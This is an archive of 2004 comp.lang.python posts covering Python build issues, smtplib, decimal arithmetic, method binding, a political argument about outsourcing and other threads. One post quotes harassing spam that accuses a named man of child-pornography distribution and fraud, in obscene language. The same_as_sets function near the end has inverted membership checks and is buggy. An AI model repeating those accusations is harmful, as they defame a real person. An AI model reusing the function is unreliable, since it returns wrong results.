> problems using programming languages. There's a reason why some people
> use functional or declarative languages instead of imperative ones. As
> such, we may be forcing Python's syntactic limits by using it for this
> type of stuff.

	Exactly. 'Class' has a specific meaning in Python. It does not mean 
'contained instance'.

> That's why I'm calling this an **experiment**. We need
> to have something to work with for some time to check if we are
> productive and if we feel comfortablee with the way we're working.

	I understand that it's an experiment. My question is if the goal of 
this experiment is just to do something differently, or if there is an 
ultimate benefit that one can hope to gain if the experiment is a 
success. I see what you're doing and how it is different; I guess I 
still don't see that this is gaining any power or flexibility.

> As such, I invite you to try it a little bit, and to see how does it
> fit into your programming environment. I'm not in a hurry -- I just
> want to do it right and to make something useful. And you can rest
> assured that your observations are being taken with the most respect
> and interest on my part.

	My problem is that I am in a 'hurry': I need to continue to develop 
Dabo, and make it as powerful and flexible for our users as it can be. 
I am interested in any alternatives that would benefit our users; my 
curiosity is about the payoff for adopting an alternative approach such 
as yours. If such a payoff isn't there, I can't spend a lot of time 
pursuing it. That's why I'm constantly asking you to explain the 
benefit, not just the theory, behind this idea.

      ___/
     /
    __/
   /
  ____/
  Ed Leafe
  http://leafe.com/
  http://dabodev.com/



From martin at v.loewis.de  Wed Sep 15 15:12:25 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 15 Sep 2004 21:12:25 +0200
Subject: How do I build Python 2.3.4 on OpenBSD 3.5?
In-Reply-To: <c9d82136.0409151101.730f8865@posting.google.com>
References: <c9d82136.0409151101.730f8865@posting.google.com>
Message-ID: <41489418$0$26168$9b622d9e@news.freenet.de>

Noah wrote:
> Has anyone else had similar problems?
> I'd appreciate any advice. Hopefully this is a simple mistake...

OpenBSD does not support Python, so Python has to work around.
However, the OpenBSD work-around is only in force for versions
up to OpenBSD 3.4. In configure, locate the place where it
talks about OpenBSD; then add a 5 to the place that already
lists 234.

Regards,
Martin


From tjreedy at udel.edu  Fri Sep 24 20:40:06 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 24 Sep 2004 20:40:06 -0400
Subject: Module Pygame - "FadeOut" text
References: <Xns956E4F8F8C192askariaddressNonVali@207.35.177.135><mailman.3868.1096052483.5135.python-list@python.org>
	<Xns956EA2C3C476BaskariaddressNonVali@207.35.177.135>
Message-ID: <cj2epa$68g$1@sea.gmane.org>

> I DON'T WANT use this mail list!  I don't want subscribe anythink for
> this info!

Tough ;-)  Actually, I don't like subcribing either, which is why I use the 
newsgroup interface to lurk on the PyGame list.  Which is also why I know 
that Pete Shinners, the author of PyGame, hangs out on that list, which he 
created for questions such as your, and regularly answers such questions if 
no one beats him to it.  Which is why I am completely comforatable with 
redirecting questions about PyGame in particular to the list made for that 
purpose.

As a counter spam measure, you will, I admit, have to verify to gmane that 
you are posting from a real address in order for your question to be passed 
on.  That takes less than 5 seconds.

> Understand Terry! (it's not the first time that you send that message)

Yes, I have sent similar messages before when appropriate.  If you were a 
previous recipient (and I do not much pay attention to who, just the 
content), and ignored it, then you need to read it again.

> And why I can't request info for a third-party package on this group?

You obviously can and did, but I suggest as I did because there are 
literally thousands* of third-party Python modules/packages/projects that 
you and thousands of people can and do ask about.  Fortunately for the 
continued usefulness of this group, almost everyone else uses the 
appropriate project-specific communication channel.

*As of this moment, SourceForge currently has 3405 Python projects.
http://sourceforge.net/softwaremap/trove_list.php?form_cat=160
One of them currently is Python itself, and maybe a few others are directly 
related.  But there are also Python projects not on SourceForge.

Terry J. Reedy





From greg.lindstrom at novasyshealth.com  Tue Sep 28 13:58:12 2004
From: greg.lindstrom at novasyshealth.com (Greg Lindstrom)
Date: Tue, 28 Sep 2004 12:58:12 -0500
Subject: Oracle Access via cx_Oracle
Message-ID: <019f01c4a584$b94c0690$054b12ac@D18SYX41>

>Does SQL*Plus work to get at the database?
>Paul

Yes, I can hit the Oracle database on the remote (posix) machine with
SQL*Plus running on my Windows box.  Does that help me out? Please excuse my
ignorance...I've been using MS-SQL Server for the past 4 or 5 years.

--greg

Greg Lindstrom                                         (501) 975-4859
NovaSys Health                  greg.lindstrom at novasyshealth.com

"We are the music makers, and we are the dreamers of dreams"  W.W.



From clifford.wells at comcast.net  Tue Sep 21 17:20:52 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Tue, 21 Sep 2004 14:20:52 -0700
Subject: up with PyGUI!
In-Reply-To: <cio5gu$2nk$1@sea.gmane.org>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de>
	<m3isaf1xki.fsf@g2ctech.com><1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com>
	<m3pt4nwa84.fsf@g2ctech.com><1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com>
	<mailman.3388.1095291463.5135.python-list@python.org>
	<1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com>
	<IWf2d.33080$D7.2368@news-server.bigpond.net.au>
	<1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com><cicm3q$a6g$1@sea.gmane.org>
	<1095378815.31957.166.camel@devilbox.devilnet.internal>
	<cio5gu$2nk$1@sea.gmane.org>
Message-ID: <1095801652.31957.520.camel@devilbox.devilnet.internal>

On Mon, 2004-09-20 at 23:00 -0400, Terry Reedy wrote:
> "Cliff Wells" <clifford.wells at comcast.net> wrote in message 
> news:1095378815.31957.166.camel at devilbox.devilnet.internal...
> > On Thu, 2004-09-16 at 14:30 -0400, Terry Reedy wrote:
> >> "Alex Martelli" <aleaxit at yahoo.com> wrote in message
> >> > So I was wrong -- it's happening all right, but tends to be disguised
> >> > (perhaps for marketing reasons).  Thanks for the info!
> >>
> >> Also for political reasons.  The US has reactionaries, left and right, 
> >> who
> >> reject the idea that all people have a right to participate in the 
> >> global
> >> information economy.
> 
> I intentionally restricted myself to one sentence, with one opinion word --  
> 'reactionaries', on a topic people have written books about.  However ...
> 
> > The main problem a lot of people (myself included) have with the so-
> > called "global economy"
> 
> To me, the global information economy is as real as the global Python 
> community.

Community certainly.  Economy less so.  The main reason I say "so-
called" is because the widely disparate costs-of-living and
corresponding pay scales make it unrealistic to assume there is anything
"global" about it.  Local economies, while clearly needing to
participate in the global market, are just that: local.

> > is that it mostly benefits the US employer who
> > can pay wages that are far below cost of living inside the US.
> 
> To the extent that all US employers producing similar products have equal 
> access to such cost savings, the long-term competitive benefit should tend 
> toward zero and most benefit should go to consumers and non-US workers.  It 
> was Indian software entrepreneurs who pursued US businesspeople more than 
> the reverse.

I'm not referring to employers when I refer to the damage done by
outsourcing.  I'm referring to the work force in first-world countries.
When a US employer can pay far below minimum wage (U.S. minimum) then
the only option for U.S. workers is to also work for that same wage or
find other lines of work.  This is already happening.  I know many
programming jobs here in Portland now pay as little as $10 an hour.
Unskilled manual labor typically pays at least that, semi-skilled and
skilled manual labor up to three or four times that.  Some of this is
undoubtedly due to economic factors that have nothing to do with
programming per se, but I strongly suspect most of it is the direct
result of skills required to be a programmer being "cheapened" (not in a
disparaging sense, just in economic terms), by low-paid programmers in
countries where the cost of living is far lower than in the U.S.

> > I'm certain there are few people who begrudge others getting work,
> 
> I did not try to quantify in my original statement.  However, it takes more 
> than a few people to get myriads of job protection laws passed in countries 
> around the globe.  Dislike of competition for 'my job' is pretty universal.

That's right.  But it isn't the foreign worker who is being rejected,
it's US employers who want to pay $5 an hour for skilled workers that
are being curtailed.

> [snip]
> 
> > let's ...have laws that require employers to pay prevailing wage
> 
> The prototype 'prevailing wage' law in the US, the 1930s Davis-Bacon Act, 
> was passed and signed by begruding people.  It had the explicit purpose 
> (and effect) of excluding dark-skinned Americans from participating in the 
> American construction industry, especially in northern states, by making it 
> unprofitable to hire them.  Its negative effects continue today.

Well, that's certainly *one* interpretation of the intent of that law.
Here's another:

From: http://www.solidarity.com/Davis-Bacon.htm

"""
Then as now, construction is a time and materials industry. Low bid
requirements on public projects allowed contractors from outside an area
to bid and win work based on substandard wages and helped create the
situation where contractors literally ?imported? low-wage workers from
around the country rather than use the local labor force.

Abuses were wide spread in the years preceding the Acts passage. Bacon,
a former Banker, explained the need for the law when he detailed for his
colleagues during debate on the bill how a construction firm from
Alabama transported thousands of unskilled workers to a public project
in New York.

?They were herded onto this job, they were housed in shacks, they were
paid a very low wage, and ... it seems to me that the federal government
should not engage in construction work in any state and undermine the
labor conditions and the labor wages paid in that state.?
"""

The point of prevailing wage isn't to exclude foreigners.  It's to
prevent corporations from exploiting local economies (U.S. or
otherwise).  What you seem to be missing is that the work doesn't get
distributed, it gets moved from place to place, wherever the workers are
cheapest.  That isn't a global economy, it's global strip-mining.  

> > (based on the *employer's* country of origin).
> 
> Programmers in developing countries generally are employed by local 
> employers who pay them more than the previous local prevailing wage.  In 
> terms of real economic goods -- food, clothing, housing, internet service, 
> and so on -- their pay may be comparable to that of programmers in the 
> 'industrial' nations.

I just quit working at a company where Ukrainian developers were paid to
develop products at a fraction of what U.S. developers working on
similar software would have been paid.  Were they paid well?  Certainly,
by Ukraine standards.  I'm not arguing that.  I'm arguing that the
company who paid them essentially bypassed U.S. minimum-wage laws that
exist for a reason.

> Their apparent cheapness per comparable output is largely a function of 
> exchange rates at least partly distorted by centuries of government force. 

Exchange rates?  Um, okay. The bottom line is that when U.S. companies
are allowed to hire Ukrainian developers at the equivalent of $5 an hour
they are certainly going to take advantage of that.  And when Manila
starts pushing out developers at $2 an hour, those Ukrainians who were
doing so well a minute ago are going to find themselves out of work.
The bottom line is that corporations exploit workers to whatever extent
they are allowed to.  The so-called "global economy" is the latest and
greatest method of doing so.  Consider the exploits of Nike, Walmart,
Levis, Reebok, et al to get a foreshadowing of what's to come in the
software trade.  I was told flat out at my last job that the main reason
the company had any U.S. employees at all was so that customers would be
able to talk to people who spoke English.

> I expect such distortions will lessen as communication makes them less 
> tenable.  

This may be so.  Of course I expect the U.S. job market for software
development will be gone by then (or simply seen as a good first job for
students before they can get a better job at Walmart). 

> I also expect increasing numbers of US knowledge/information 
> workers with portable skills to take advantage of the distortions while 
> they last.

Well, I've certainly considered other lines of work, if that's what you
mean.  


Cliff

-- 
Cliff Wells <clifford.wells at comcast.net>



From matt.torment at gmail.com  Fri Sep 24 01:20:40 2004
From: matt.torment at gmail.com (Matthew K Jensen)
Date: 23 Sep 2004 22:20:40 -0700
Subject: > > > > matt parker alias erik_van_lindt_hout matt parker alias
	geronimo jones bondage phuking matt parker alias
	kimberlyparker matt parker from cottage grove oregon spams
	the net with childporn http://tinyurl.com/6kmea matt parker
	alias evon lin
References: <acb07122.0409220308.104c0a74@posting.google.com>
	<acb07122.0409230138.30b004bc@posting.google.com>
Message-ID: <a8dfce8c.0409232120.15502f4b@posting.google.com>

matthewparker at nurfuerspam.de (matt parker) wrote in message news:<acb07122.0409230138.30b004bc at posting.google.com>...
> comp.lang.python,cu.cs.clim,sci.energy.hydrogen,uw.stats.s,talk.philosophy.misc
> > > > > > matt parker alias erik_van_lindt_hout matt parker alias geronimo jones bondage phuking matt parker alias kimberlyparker matt parker from cottage grove oregon spams the net with childporn http://tinyurl.com/6kmea matt parker alias evon lint herzog matt parker violates the internet privacy act by distributing stolen personal data matt parker alias evon_lunsen_herzog matt parker alias

I think you're better off using a unicode string. In cases like this,
it's good to know different encoding standards.


> > > > > > lunsen hout mothafucka matt parker alias s_machines
moldova matt parker alias erik vonlindt matt parker alias erik parker
matt parker alias eric vonlindthout matt parker alias ericvonlindt
hout matt parker alias ericvan lindt matt parker alias
erikvonlint_herzog matt parker alias erik_vonlinthout matt parker
alias tatjanadochenkova oral matt parker alias erikvon_lint_hout
motherfuckings

You're confusing os.popen2 with popen.popen2. There's a sublte
difference, plus I don't think you imported the correct library. Try
writing to the input in smaller lengths of data. Also, things can get
trickier when you use pipes like you are using there.


> > > > > > alias sergey smith matt parker alias eric von lindtherzog
matt parker alias erikvan lint hout cummer matt parker alias eric van
lindt matt parker alias e_vanlindt_herzog rebuild the cuntface of the
spamming scammer matt parker http://tinyurl.com/452ch matt parker
alias tatiana_dochenkova kum matt parker alias eric_vanlint_herzog
matt parker alias erik_vanlint_hout matt parker alias eric


Always, ALWAYS watch your syntax.


> > > > > > parker forges evidence to make others seem guilty of his criminal activities matt parker alias evon linthout schemes matt parker alias e von lunsen hout matt parker alias d_shredder matt parker alias eric vonlunsen hout matt parker alias erik_vanlunsenhout amateur women matt parker alias super machine matt parker alias frank quisinsky matt parker alias m parker matt parker alias 

That wasn't implemented until python 2.3

> > > > > > g aap matt parker alias evanlindt_herzog never submit true personal data to eurobrides.com matt parker alias evonlunsenhout matt parker alias ericvan_lindt matt parker alias p ure matt parker commits credit card fraud and identity theft against his clients shitfull bitchin matt parker alias eric_von_lint_hout m

In this case, it doesn't matter which one you use, as long as you
handle each list appropriately. qmh.has_key('alias') should give you a
little heads up.


From anno4000 at lublin.zrz.tu-berlin.de  Tue Sep 14 12:32:37 2004
From: anno4000 at lublin.zrz.tu-berlin.de (Anno Siegel)
Date: 14 Sep 2004 16:32:37 GMT
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<87brg96kfe.fsf@p4.internal> <m34qm0yk6o.fsf@europa.pienet>
	<873c1k7rre.fsf@p4.internal>
Message-ID: <ci76f5$dgj$2@mamenchi.zrz.TU-Berlin.DE>

Bulent Murtezaoglu  <bm at acm.org> wrote in comp.lang.perl.misc:

[snipped]

This thread is becoming a nuisance in at least some of the groups
it is crossposted to.  I suggest taking out at least the comp.lang.
groups.

Anno


From peter at engcorp.com  Mon Sep 27 20:37:21 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 27 Sep 2004 20:37:21 -0400
Subject: New to Python
In-Reply-To: <mailman.3981.1096326130.5135.python-list@python.org>
References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com>	<mailman.3722.1095866933.5135.python-list@python.org>	<pan.2004.09.23.17.02.22.649109@jerf.org>	<poidnXQ3VpJ4V8zcRVn-qg@powergate.ca>	<mailman.3961.1096294506.5135.python-list@python.org>	<e7edndpKo-0upsXcRVn-qw@powergate.ca>	<42ugl0hu091vpb93qvpfcf8lmidkbnou0v@4ax.com>
	<mailman.3981.1096326130.5135.python-list@python.org>
Message-ID: <stmdnViUIsDfL8XcRVn-ug@powergate.ca>

Ed Leafe wrote:
>     I've been following this discussion, and as someone who has been 
> answering questions for a variety of technical matters for many years, I 
> just thought I'd share my view.

Ed, have you read the "Smart Questions" essay?  From your
comments I infer (perhaps incorrectly) that you have not yet.

>     Obviously, having the poster pose a perfectly framed question, with 
> complete information, etc., is the ideal. Nobody minds helping someone 
> who is so well organized. But there are lots of other people out there 
> who don't know enough to try what seems like the obvious steps. People 
> new to a language tend to get nervous posting; it's hard to write an 
> intelligent question when you're feeling stupid.

All true, but (again) this is exactly why the essay was written.
It's designed to provide very clear and simple advice to just
those people who *don't* know enough to try the "obvious" steps.
Most of it is just the kind of "meta advice" that is needed for
folks such as you descrige.

In fact, I'd say that anyone who has read it and makes an attempt
to follow its advice will *not* be very nervous, and will find
it relatively easy to ask their question.  At the very least they
will not use an unhelpful subject line like "newbie question"...

>     My advice to those who find such poorly-worded posts offensive is to 
> ignore them. Yes, they could have done a much better job, so if you want 
> to respond, ask them for the information that would be relevant in 
> figuring out their problem. Often they don't know what's important and 
> what isn't. But by all means, taking the time to chastise them doesn't 
> help anyone. Either don't bother doing anything if you don't have the 
> time to spend with them, or ask for what you need.

Again, all true, though I really don't think the issue is
"poorly-worded" posts, of which we get many here and tolerate
them quite well.  I think the issue is poorly-conceived posts,
and the essay can help with that.

As for "chastisement"... I believe posting a link to the essay,
when it's appropriate, is generally a big help, and saves a lot
of time asking over and over again in new and creative ways for
just the information which would have been provided had the essay
been read by the poster.

But I think I'm beating a dead horse here... I'll stop now. :-)

-Peter


From narshe at gmail.com  Fri Sep 17 16:58:10 2004
From: narshe at gmail.com (Josh Close)
Date: Fri, 17 Sep 2004 15:58:10 -0500
Subject: smtplib (111, 'Connection refused')
In-Reply-To: <ZtqdnZb0ScD229bcRVn-iA@powergate.ca>
References: <mailman.3467.1095448992.5135.python-list@python.org>
	<ZtqdnZb0ScD229bcRVn-iA@powergate.ca>
Message-ID: <4a0cafe204091713587ba4e3d7@mail.gmail.com>

import smtplib

mail = smtplib.SMTP('localhost')
mail.send('me','user at domain.tld','message goes here')
mail.quit()

but this fails at the smtplib.SMTP() line on one box, but not on another.

-Josh


On Fri, 17 Sep 2004 16:17:47 -0400, phansen <peter at engcorp.com> wrote:
> Josh Close wrote:
> > I'm using the smtplib module and I keep getting this error: (111,
> > 'Connection refused') What could be causing this? I've tried it from a
> > different computer and it seems to work, but not from this specific
> > server. If port 25 was blocked for some reason, would that give me a
> > 'connection refused' error?
> 
> Please show a snippet of the code you are using, so we can
> see what you are trying to do here.
> 
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From aleaxit at yahoo.com  Sun Sep 19 12:41:49 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sun, 19 Sep 2004 18:41:49 +0200
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<pan.2004.09.19.13.27.17.613143@jerf.org>
	<Ooa3d.318$Pz3.245@trndny01>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
Message-ID: <1gkdg6v.beghga12wpi7qN%aleaxit@yahoo.com>

Chris S. <chrisks at NOSPAM.udel.edu> wrote:
   ...
> Sqrt is a fair criticism, but Pi equals 22/7, exactly the form this 

Of course it doesn't.  What a silly assertion.

> arithmetic is meant for. Any decimal can be represented by a fraction,

And pi can't be represented by either (if you mean _finite_ decimals and
fractions).

> yet not all fractions can be represented by decimals. My point is that
> such simple accuracy should be supported out of the box.

In Python 2.4, decimal computations are indeed "supported out of the
box", although you do explicitly have to request them (the default
remains floating-point).  In 2.3, you have to download and use any of
several add-on packages (decimal computations and rational ones have
very different characteristics, so you do have to choose) -- big deal.


> > While I'd love to compute with all those numbers in infinite
> > precision, we're all stuck with FINITE sized computers, and hence with
> > the inaccuracies of finite representations of numbers.
> 
> So are our brains, yet we somehow manage to compute 12.10 + 8.30 
> correctly using nothing more than simple skills developed in 

Using base 10, sure.  Or, using fractions, even something that decimals
would not let you compute finitely, such as 1/7+1/6.

> grade-school. You could theoretically compute an infinitely long 
> equation by simply operating on single digits,

Not in finite time, you couldn't (excepting a few silly cases where the
equation is "infinitely long" only because of some rule that _can_ be
finitely expressed, so you don't even have to LOOK at all the equation
to solve [which is what I guess you mean by "compute"...?] it -- if you
have to LOOK at all of the equation, and it's infinite, you can't get
done in finite time).

> yet Python, with all of 
> its resources, can't overcome this hurtle?

The hurdle of decimal arithmetic, you mean?  Download Python 2.4 and
play with decimal to your heart's content.  Or do you mean fractions?
Then download gmpy and ditto.  There are also packages for symbolic
computation and even more exotic kinds of arithmetic.

In practice, with the sole exception of monetary computations (which may
often be constrained by law, or at the very least by customary
practice), there is no real-life use in which the _accuracy_ of floating
point isn't ample.  There are nevertheless lots of traps in arithmetic,
but switching to forms of arithmetic different from float doesn't really
make all the traps magically disappear, of course.


> However, I understand Python's limitation in this regard. This 
> inaccuracy stems from the traditional C mindset, which typically 
> dismisses any approach not directly supported in hardware. As the FAQ

Ah, I see, a case of "those who can't be bothered to learn a LITTLE
history before spouting off" etc etc.  Python's direct precursor, the
ABC language, used unbounded-precision rationals.  As a result (obvious
to anybody who bothers to learn a little about the inner workings of
arithmetic), the simplest-looking string of computations could easily
consume all the memory at your computer's disposal, and then some, and
apparently unbounded amounts of time.  It turned out that users object,
most of the time, to having some apparently trivial computation take
hours, rather than seconds, in order to be unboundedly precise rather
than, say, precise to "just" a couple hundred digits (far more digits
than you need to count the number of atoms in the Galaxy).  So,
unbounded rationals as a default are out -- people may sometimes SAY
they want them, but in fact, in an overwhelming majority of the cases,
they actually do not (oh yes, people DO lie, first of all to
themselves:-).

As for decimals, that's what a very-high level language aiming for a
niche very close to Python used from the word go.  It got started WAY
before Python -- I was productively using it over 20 years ago -- and
had the _IBM_ brand on it, which at the time pretty much meant the
thousand-pounds gorilla of computers.  So where is it now, having had
all of these advantages (started years before, had IBM behind it, AND
was totally free of "the traditional C mindset", which was very far from
traditional at the time, particularly within IBM...!)...?

Googlefight is a good site for this kind of comparisons... try:

<http://www.googlefight.com/cgi-bin/compare.pl?q1=python&q2=rexx
&B1=Make+a+fight%21&compare=1&langue=us>

and you'll see...:
"""
Number  of results on Google  for the keywords python  and rexx:

python
(10 300 000  results)
versus
rexx
( 419 000 results)

The  winner is:    python
"""

Not just "the winner", an AMAZING winner -- over TWENTY times more
popular, despite all of Rexx's advantages!  And while there are no doubt
many fascinating components to this story, a key one is among the pearls
of wisdom you can read by doing, at any Python interactive prompt:

    >>> import this

and it is: "practicality beats purity".  Rexx has always been rather
puristic in its adherence to its principles; Python is more pragmatic.
It turns out that this is worth a lot in the real world.  Much the same
way, say, C ground PL/I into the dust.  Come to think of it, Python's
spirit is VERY close to C (4 and 1/2 half of the 5 principles listed as
"the spirit of C" in the C ANSI Standard's introduction are more closely
followed by Python than by other languages which borrowed C's syntax,
such as C++ or Java), while Rexx does show some PL/I influence (not
surprising for an IBM-developed language, I guess).

Richard Gabriel's famous essay on "Worse is Better", e.g. at
<http://www.jwz.org/doc/worse-is-better.html>, has more, somewhat bitter
reflections in the same vein.  

Python never had any qualms in getting outside the "directly supported
in hardware" boundaries, mind you.  Dictionaries and unbounded precision
integers are (and have long been) Python mainstays, although neither the
hardware nor the underlying C platform has any direct support for
either.  For non-integer computations, though, Python has long been well
served by relying on C, and nowadays typically the HW too, to handle
them, which implied the use of floating-point; and leaving the messy
business of implementing the many other possibly useful kinds of
non-integer arithmetic to third-party extensions (many in fact written
in Python itself -- if you're not in a hurry, they're fine, too).

With Python 2.4, somebody finally felt enough of an itch regarding the
issue of getting support for decimal arithmetic in the Python standard
library to go to the trouble of scratching it -- as opposed to just
spouting off on a mailing list, or even just implementing what they
personally needed as just a third-party extension (there are _very_ high
hurdles to jump, to get your code into the Python standard library, so
it needs strong motivation to do so as opposed to just releasing your
own extension to the public).

> states, this problem is due to the "underlying C platform". I just find
> it funny how a $20 calculator can be more accurate than Python running
> on a $1000 Intel machine.

You can get a calculator much cheaper than that these days (and "intel
machines" not too out of the mainstream for well less than half, as well
as several times, your stated price).  It's pretty obvious that the
price of the hardware has nothing to do with that "_CAN_ be more
accurate" issue (my emphasis) -- which, incidentally, remains perfectly
true even in Python 2.4: it can be less, more, or just as accurate as
whatever calculator you're targeting, since the precision of decimal
computation is one of the aspects you can customize specifically...


Alex


From Scott.Daniels at Acm.Org  Mon Sep 13 14:46:31 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Mon, 13 Sep 2004 11:46:31 -0700
Subject: Binding? problem
In-Reply-To: <ci4h9b02cgg@enews2.newsguy.com>
References: <cht54g0jhl@enews1.newsguy.com> <4144ac84$1@nntp0.pdx.net>
	<ci4h9b02cgg@enews2.newsguy.com>
Message-ID: <4145efdd$1@nntp0.pdx.net>

Josh English wrote:
> What I want to do is have a class method that takes methods from one 
> class and applies them to the class instance, overriding the 'self' in 
> the method from the Library class to the Runner class.

There _is_ an issue of methods knowing what class they were bound in.
However, if you are willing to use staticmethod:

     # Using curry (someday to show as functional.partial) as defined in:
     # <http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52549>
     import new

     def curry(*args, **okwargs):
         assert args
         if okwargs:
             def curried(*iargs, **ikwargs):
                 if ikwargs:
                     kwargs = okwargs.copy()
                     kwargs.update(ikwargs)
                 else:
                     kwargs = okwargs
	        return args[0](*(args[1:] + iargs), **kwargs)
             return curried

         assert len(args) >= 2
         if len(args) == 2:
             return new.instancemethod(args[0], args[1], object)

         if len(args) <= 1:
             return args[0]
         ## The following runs in the wrong order
         ## return new.function(args[0].func_code,
         ##                     args[0].func_globals, argdefs=args[1:])
         def scurried(*iargs, **kwargs):
             return args[0](*(args[1:] + iargs), **kwargs)
         return scurried

     class S(object):
         def __init__(self, value):
             self.value = value

         def __repr__(self):
             return '%s(%r)' % (self.__class__.__name__, self.value)

# Python 2.3 (and 2.2?) synax:
     class Library(object):
         # Cannot have "true" methods -- must be normal functions
         def do_this(self):
             self.s.value = 'this'
         do_this = staticmethod(do_this)

# Python 2.4 syntax:
#    class Library(object):
#        # Cannot have "true" methods -- must be normal functions
#        @staticmethod
#        def do_this(self):
#            self.s.value = 'this'

     class Runner(object):
         def __init__(self):
             self.s = S('whock')

         def imports(self, library):
              for name in dir(library):
                  if not name.startswith('_'):
                      value = getattr(library, name)
                      if callable(value):
                          setattr(self, name, curry(value, self))

         def __repr__(self):
             return '<%s %s>' % (self.__class__.__name__, self.s)


-Scott David Daniels
Scott.Daniels at Acm.Org


From benevilent at optusnet.com.au  Sun Sep 19 22:52:24 2004
From: benevilent at optusnet.com.au (benevilent at optusnet.com.au)
Date: Mon, 20 Sep 2004 12:52:24 +1000
Subject: memory allocation
References: <pan.2004.09.19.11.21.21.129058@optusnet.com.au>	<pan.2004.09.19.18.28.33.473150@optusnet.com.au>	<wKKdnQdfZYYRsdPcRVn-uQ@lmi.net>
Message-ID: <pan.2004.09.20.02.50.25.510094@optusnet.com.au>

On Sun, 19 Sep 2004 18:02:08 -0700, David Pokorny wrote:

> <benevilent at optusnet.com.au> wrote in message
> news:pan.2004.09.19.18.28.33.473150 at optusnet.com.au...
>> My latest understanding is that the default memory allocation will result
>> in arenas being created to fulfill the maximum memory requirements of the
> 
> This is all correct, but you're probably attacking the problem from the hard
> end. Perhaps
> some C code has forgotten to DECREF a dead object. See section 1.10 of
> 
> http://docs.python.org/ext/ext.html
> 

Hey,

Thanks for the response.
As established earlier I have determined that this is not the case. Is it
possible to change the memory allocation scheme of Python so that I can
confirm this?

Thanks,
Laurie


From bradtilley at usa.net  Mon Sep 13 09:49:02 2004
From: bradtilley at usa.net (Brad Tilley)
Date: Mon, 13 Sep 2004 09:49:02 -0400
Subject: read all available pages on a Website
In-Reply-To: <1gk1tjf.17snajnnn5g3aN%aleaxit@yahoo.com>
References: <ci2qnl$2jq$1@solaris.cc.vt.edu>
	<pheak01mo1ti6usa1sl2a4g801bik9o5h8@4ax.com>
	<2ql2m9F10da10U1@uni-berlin.de>
	<1gk1tjf.17snajnnn5g3aN%aleaxit@yahoo.com>
Message-ID: <ci48ge$agm$1@solaris.cc.vt.edu>

Alex Martelli wrote:
> Leif K-Brooks <eurleif at ecritters.biz> wrote:
> 
> 
>>Tim Roberts wrote:
>>
>>>Brad Tilley <bradtilley at usa.net> wrote:
>>>
>>>
>>>>Is there a way to make urllib or urllib2 read all of the pages on a Web
>>>>site?
>>>
>>>By the way, there are many web sites for which this sort of behavior is not
>>>welcome.
>>
>>Any site that didn't want to be crawled would most likely use a 
>>robots.txt file, so you could check that before doing the crawl.
> 
> 
> Python's Tools/webchecker/ directory has just the code you need for all
> of this.  The directory is part of the Python source distribution, but
> it's all pure Python code, so, if your distribution is binary and omits
> that directory, just download the Python source distribution, unpack it,
> and there you are.
> 
> 
> Alex

Thank you, this is ideal.


From shevitz at lanl.gov  Wed Sep 22 19:19:31 2004
From: shevitz at lanl.gov (Danny Shevitz)
Date: Wed, 22 Sep 2004 17:19:31 -0600
Subject: good way to do side effects on lists?
Message-ID: <415208a1$1_4@news3.es.net>

Howdy,

A minor stylistic question: Is there a better way to do:

for thing is myList:
    myFunc(thing)

map is close, but returns a list, which is wasted. I'm purely using side
effects and the lists are large.

thanks,
Danny




From aleaxit at yahoo.com  Thu Sep  9 04:18:31 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 9 Sep 2004 10:18:31 +0200
Subject: Set and {} comparison confusion
References: <mailman.3079.1094716024.5135.python-list@python.org>
Message-ID: <1gjuc0j.1990z451x9dciqN%aleaxit@yahoo.com>

Roman Yakovenko <roman.yakovenko at actimize.com> wrote:

> Thanks. I have an other question, more general:
> 
> I have class A that defines __eq__ and __ne__.
> I have 2 lists of instances of A
> 
> What is the right way to find out whether those lists
> are equal (as sets) or not? 
> 
> Thanks for help

If instances of class A are not hashable, there is unfortunately no fast
way.  Tim Peters, in the Python Cookbook (first edition), shows an
elaborate way to turn a list into a list of unique elements which is as
fast as feasible depending on the list elements' properties, which the
recipe discovers automatically by fielding errors raised by usage that
the list items don't support -- but even that would be thrown off the
rails if the instances of A _appear_ to be hashable but violate the key
semantic constraint (equality of instance MUST imply equality of hash).

I assume from your specific mention of __eq__ and __ne__ that you can't
even SORT a list of such instances -- that they don't define __lt__ or
define it in such ways as to violate the key semantic constraint on THAT
operation -- so you can't even use the second-best approach (after
hashing), which starts with sorting.

Under such dire, horrible conditions you will have to resort to the
extremely slow approach, O(M*N) where M and N are the lengths of the two
lists -- at least it can be expressed simply...:

def same_as_sets(onelist, another):
    for item in onelist:
        if item in another: return False
    for item in another:
        if item in onelist: return False
    return True

It's horrible, but then that class appears to be designed to fight
against attempts to solve this problem more smartly, at least
extrapolating from what little you tell us about it.


Alex


From daniel at dittmar.net  Fri Sep 17 15:38:21 2004
From: daniel at dittmar.net (Daniel Dittmar)
Date: Fri, 17 Sep 2004 21:38:21 +0200
Subject: [OT] tabbed command line window? WAS Re: Ranting about the state
 of Python IDEs for Windows
In-Reply-To: <e4eaecf8.0409170833.44be4a71@posting.google.com>
References: <e4eaecf8.0409170833.44be4a71@posting.google.com>
Message-ID: <2r0sqbF150qtmU1@uni-berlin.de>

Jon Nicoll wrote:
>    some comments in the earlier thread about tabbed windows with VIM
> reminded me of a scratch I'd like to itch: does anyone know of a
> tabbed command line utility for Win32? I'd like something like
> KDEterm, where you can have multiple tabbed command line 'sessions' in
